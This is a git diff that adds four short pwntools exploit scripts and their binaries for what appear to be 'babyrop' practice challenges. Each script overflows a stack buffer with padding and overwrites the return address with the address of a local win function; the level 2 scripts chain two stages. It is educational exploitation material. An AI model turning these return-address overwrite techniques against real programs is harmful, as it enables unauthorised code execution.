diff --git a/weiss_overlude/babyrop_level_1.0/a.py b/weiss_overlude/babyrop_level_1.0/a.py new file mode 100644 index 0000000..51c78c1 --- /dev/null +++ b/weiss_overlude/babyrop_level_1.0/a.py @@ -0,0 +1,20 @@ +#!/usr/bin/python3 + +from pwn import * + +""" +patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_1_0 +""" + +context.binary = target = ELF("./babyrop_level_1_0", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*120 +buf += p64(target.sym.win) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/weiss_overlude/babyrop_level_1.0/babyrop_level_1_0 b/weiss_overlude/babyrop_level_1.0/babyrop_level_1_0 new file mode 100755 index 0000000..d3f4927 Binary files /dev/null and b/weiss_overlude/babyrop_level_1.0/babyrop_level_1_0 differ diff --git a/weiss_overlude/babyrop_level_1.1/a.py b/weiss_overlude/babyrop_level_1.1/a.py new file mode 100644 index 0000000..0f63d3f --- /dev/null +++ b/weiss_overlude/babyrop_level_1.1/a.py @@ -0,0 +1,16 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./babyrop_level_1_1", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*136 +buf += p64(target.sym.win) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/weiss_overlude/babyrop_level_1.1/babyrop_level_1_1 b/weiss_overlude/babyrop_level_1.1/babyrop_level_1_1 new file mode 100755 index 0000000..50c985a Binary files /dev/null and b/weiss_overlude/babyrop_level_1.1/babyrop_level_1_1 differ diff --git a/weiss_overlude/babyrop_level_2.0/a.py b/weiss_overlude/babyrop_level_2.0/a.py new file mode 100644 index 0000000..d5d9a6d --- /dev/null +++ b/weiss_overlude/babyrop_level_2.0/a.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 + +from pwn import * + +""" +patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0 +""" + +context.binary = target = ELF("./babyrop_level_2_0", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*104 +buf += p64(target.sym.win_stage_1) +buf += p64(target.sym.win_stage_2) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/weiss_overlude/babyrop_level_2.0/babyrop_level_2_0 b/weiss_overlude/babyrop_level_2.0/babyrop_level_2_0 new file mode 100755 index 0000000..f3b2545 Binary files /dev/null and b/weiss_overlude/babyrop_level_2.0/babyrop_level_2_0 differ diff --git a/weiss_overlude/babyrop_level_2.1/a.py b/weiss_overlude/babyrop_level_2.1/a.py new file mode 100644 index 0000000..15b049b --- /dev/null +++ b/weiss_overlude/babyrop_level_2.1/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./babyrop_level_2_1", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*88 +buf += p64(target.sym.win_stage_1) +buf += p64(target.sym.win_stage_2) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/weiss_overlude/babyrop_level_2.1/babyrop_level_2_1 b/weiss_overlude/babyrop_level_2.1/babyrop_level_2_1 new file mode 100755 index 0000000..4cadcbb Binary files /dev/null and b/weiss_overlude/babyrop_level_2.1/babyrop_level_2_1 differ